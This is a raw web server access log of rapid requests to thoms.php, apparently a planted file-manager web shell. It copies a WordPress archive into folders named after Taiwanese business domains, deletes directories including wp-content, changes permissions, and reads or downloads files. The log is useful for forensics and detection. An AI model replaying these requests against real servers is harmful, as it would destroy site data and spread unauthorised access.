45.135.193.11 - - [11/Sep/2026:22:35:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wp-content HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11385 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16191 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16192 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=upgrade HTTP/1.1" 200 11323 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=upgrade HTTP/1.1" 200 11317 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=wp-content HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=cgi-bin HTTP/1.1" 200 11315 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16288 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16289 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?del=bogroup.com.tw&p= HTTP/1.1" 200 16279 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13523 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw HTTP/1.1" 200 11431 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?del=bioway88.com.tw&p= HTTP/1.1" 200 16179 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?p=&view=error_log HTTP/1.1" 200 12172 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?del=booking-wise2.com.tw&p= HTTP/1.1" 200 16272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?copy=cgi-bin&p= HTTP/1.1" 200 11641 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?copy=.htaccess&p= HTTP/1.1" 200 11635 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:40 -0400] "GET /thoms.php?chmod=error_log&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?p=&view=thoms.php HTTP/1.1" 200 11756 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?chmod=ba-guo.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17371 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?del=betcity.com.tw&p= HTTP/1.1" 200 16272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 11452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?del=besth2o.com.tw&p= HTTP/1.1" 200 16272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 12516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p= HTTP/1.1" 200 11594 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?del=bestzyx.com.tw&p= HTTP/1.1" 200 16272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?chmod=mah.php&p= HTTP/1.1" 200 11425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?dl=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 16183 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?del=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 16271 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?copy=bogroup.com.tw&p= HTTP/1.1" 200 11649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?chmod=wp-content&p= HTTP/1.1" 200 11438 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?del=wp-content&p= HTTP/1.1" 200 16280 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?chmod=bestjudy.com.tw&p= HTTP/1.1" 200 11443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 200 46444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p= HTTP/1.1" 200 11638 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?chmod=bodbooks.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?copy=thoms.php&p= HTTP/1.1" 200 11623 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?chmod=broadweb.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 12841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?dl=thoms.php&p= HTTP/1.1" 200 16280 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?copy=betcity.com.tw&p= HTTP/1.1" 200 11639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?chmod=bft.com.tw&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:41 -0400] "GET /thoms.php?chmod=biotaiwan.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
